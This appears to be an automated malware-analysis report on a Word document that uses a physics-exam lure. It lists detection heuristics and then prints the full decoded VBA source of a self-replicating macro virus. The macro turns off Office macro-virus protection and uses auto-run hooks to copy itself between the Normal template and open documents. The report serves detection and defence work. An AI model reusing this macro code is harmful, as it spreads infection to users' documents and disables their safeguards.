MALICIOUS
176
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing VBA macros. The macros are designed to disable macro virus protection and replicate themselves by copying their code to other documents and templates. The document body presents as a physics exam, which is a common lure for malicious documents. The critical heuristic 'VBA macro-virus self-replication / AV tampering' and the presence of the 'AutoOpen' macro strongly indicate malicious intent.
Heuristics 6
-
ClamAV: Doc.Trojan.Nohate-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nohate-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1510 bytes |
SHA-256: 8cd24bf5448b4a0dd64d7efb7df268f9da34aa7fe6a0532483bcc42d3127fff0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NoNoHate_A"
Sub AutoExec()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False
End Sub
Sub AutoOpen()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Sub AutoNew()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Sub AutoClose()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
End Sub
Function Virus()
On Error Resume Next
E
End Function
Function E()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Dim A, B As String
A = Application.NormalTemplate.FullName
B = Application.ActiveDocument.FullName
Application.OrganizerDelete A, "Hate_A", wdOrganizerObjectProjectItems
Application.OrganizerDelete B, "Hate_A", wdOrganizerObjectProjectItems
Application.OrganizerCopy A, B, "NoNoHate_A", wdOrganizerObjectProjectItems
Application.OrganizerCopy B, A, "NoNoHate_A", wdOrganizerObjectProjectItems
End Function
Sub ArquivoSalvar()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Virus
ActiveDocument.Save
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.